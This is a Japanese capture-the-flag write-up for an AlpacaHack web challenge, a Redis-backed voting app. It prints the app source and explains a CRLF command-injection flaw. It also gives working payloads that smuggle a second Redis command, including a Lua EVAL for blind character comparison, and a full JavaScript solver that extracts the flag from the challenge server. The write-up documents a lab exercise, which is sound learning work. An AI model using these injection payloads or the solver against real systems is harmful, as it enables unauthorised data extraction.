- Source: AlpacaHack Round 7 (web)
- Author: st98
dog, cat, alpacaに対して投票ができるアプリ。
データはRedisに保存されており、incrementとgetのみが可能。
また、flagもRedisに保存されている。これをどうにかして読み出したい。
index.js
import fs from 'node:fs/promises';
import express from 'express';
import { init, vote, getVotes } from './db.js';
const PORT = process.env.PORT || 3000;
const FLAG = process.env.FLAG || 'Alpaca{dummy}';
process.on('uncaughtException', (error) => {
console.error('Uncaught Exception:', error);
});
const app = express();
app.use(express.urlencoded({ extended: false }));
app.use(express.static('static'));
const indexHtml = (await fs.readFile('./static/index.html')).toString();
app.get('/', async (req, res) => {
res.setHeader('Content-Type', 'text/html');
return res.send(indexHtml);
});
app.post('/vote', async (req, res) => {
let animal = req.body.animal || 'alpaca';
// animal must be a string
animal = animal + '';
// no injection, please
animal = animal.replace('\r', '').replace('\n', '');
try {
return res.json({
[animal]: await vote(animal)
});
} catch {
return res.json({ error: 'something wrong' });
}
});
app.get('/votes', async (req, res) => {
return res.json(await getVotes());
});
await init(FLAG); // initialize Redis
app.listen(PORT, () => {
console.log(`server listening on ${PORT}`);
});
db.js
import net from 'node:net';
function connect() {
return new Promise(resolve => {
const socket = net.connect('6379', 'localhost', () => {
resolve(socket);
});
});
}
function send(socket, data) {
console.info('[send]', JSON.stringify(data));
socket.write(data);
return new Promise(resolve => {
socket.on('data', data => {
console.info('[recv]', JSON.stringify(data.toString()));
resolve(data.toString());
})
});
}
export async function vote(animal) {
const socket = await connect();
const message = `INCR ${animal}\r\n`;
const reply = await send(socket, message);
socket.destroy();
return parseInt(reply.match(/:(\d+)/)[1], 10); // the format of response is like `:23`, so this extracts only the number
}
const ANIMALS = ['dog', 'cat', 'alpaca'];
export async function getVotes() {
const socket = await connect();
let message = '';
for (const animal of ANIMALS) {
message += `GET ${animal}\r\n`;
}
const reply = await send(socket, message);
socket.destroy();
let result = {};
for (const [index, match] of Object.entries([...reply.matchAll(/\$\d+\r\n(\d+)/g)])) {
result[ANIMALS[index]] = parseInt(match[1], 10);
}
return result;
}
export async function init(flag) {
const socket = await connect();
let message = '';
for (const animal of ANIMALS) {
const votes = animal === 'alpaca' ? 10000 : Math.random() * 100 | 0;
message += `SET ${animal} ${votes}\r\n`;
}
message += `SET flag ${flag}\r\n`; // please exfiltrate this
await send(socket, message);
socket.destroy();
}
この問題は環境を自分で生成する(=人によって環境が異なる)ので、何かしらの破壊的変更を加えることが可能とメタ読みする。ここでしばらくprotorype pollutionを疑って沼っていたのは内緒
しばらくコードを眺めていると、POST /vote
の改行コード除去でreplaceAll()
ではなくreplace()
を使用していることに気付いた。replace()
は置換対象が複数回出現する場合も最初に一致したもののみ置換するという挙動を取る。
app.post('/vote', async (req, res) => {
let animal = req.body.animal || 'alpaca';
// animal must be a string
animal = animal + '';
// no injection, please
animal = animal.replace('\r', '').replace('\n', '');
try {
return res.json({
[animal]: await vote(animal)
});
} catch {
return res.json({ error: 'something wrong' });
}
});
そして、Redisへincrementするコマンドを構築する部分では文字列結合を行っている。
export async function vote(animal) {
const socket = await connect();
const message = `INCR ${animal}\r\n`;
const reply = await send(socket, message);
socket.destroy();
return parseInt(reply.match(/:(\d+)/)[1], 10); // the format of response is like `:23`, so this extracts only the number
}
つまり、cat \r\n\r\nGET flag
というリクエストを送るとINCR cat\r\nGET flag\r\n
という文字列が構築される。このリクエストを投げてローカルで実行結果を確認すると、[recv] ":46\r\n$16\r\nAlpaca{REDACTED}\r\n"
と表示され、任意のRedisコマンドGET flag
が実行できていることが分かる。
これでflagを読み出すことはできたが、return parseInt(reply.match(/:(\d+)/)[1], 10);
によって数字以外の値を返すことができなくなっている。INCR flag
でエラーが返ってくることは確認していたため、Error-Based NoSQL(?) Injectionができないかを考えた。
SQLのIF句に相当するものが無いか探していたら、どうやらEVAL
というものがあり、その中でLuaを実行できることが分かった。これを用いればLuaを用いてflagの値を1文字ずつ比較し、1か0を返すpayloadが書けそうだ。
最終的なpayloadは以下のようになった。
"flag\r\n\r\n" + `EVAL "local flag = redis.call('GET', 'flag') if (string.sub(flag, 1, ARGV[1]) == ARGV[2]) then return ':1' end return ':0'" 0 ${length} ${flag}`
これはflagの${length}
文字目までが${flag}
と一致していれば:1
を、一致していなければ:0
を返す。一行目(\r\n
より前)のコマンドをINCR flag
としエラーを返すようにすることで、この1
または0
が最終的なレスポンスに含まれるようになっている。
これを用いて、flagを一文字ずつ特定するsolverを書いた。
const target = "http://34.170.146.252:28695/vote"
const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_{}"
const buildPayload = (flag) => {
length = flag.length
return "flag\r\n\r\n" + `EVAL "local flag = redis.call('GET', 'flag') if (string.sub(flag, 1, ARGV[1]) == ARGV[2]) then return ':1' end return ':0'" 0 ${length} ${flag}`
}
const solve = async () => {
let flag = ""
while(true) {
for (let i = 0; i < charset.length; i++) {
const payload = buildPayload(flag + charset[i])
const resp = await fetch(target, {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: `animal=${payload}`,
})
const data = await resp.text()
if (data.slice(-2, -1) == 1) {
flag += charset[i]
console.log("Found:", flag)
break
}
}
if (flag.slice(-1) == "}") {
console.log("Flag:", flag)
break
}
}
}
solve()
少し時間はかかったが、無事にflagを入手することができた。
Alpaca{ezotanuki_mofumofu}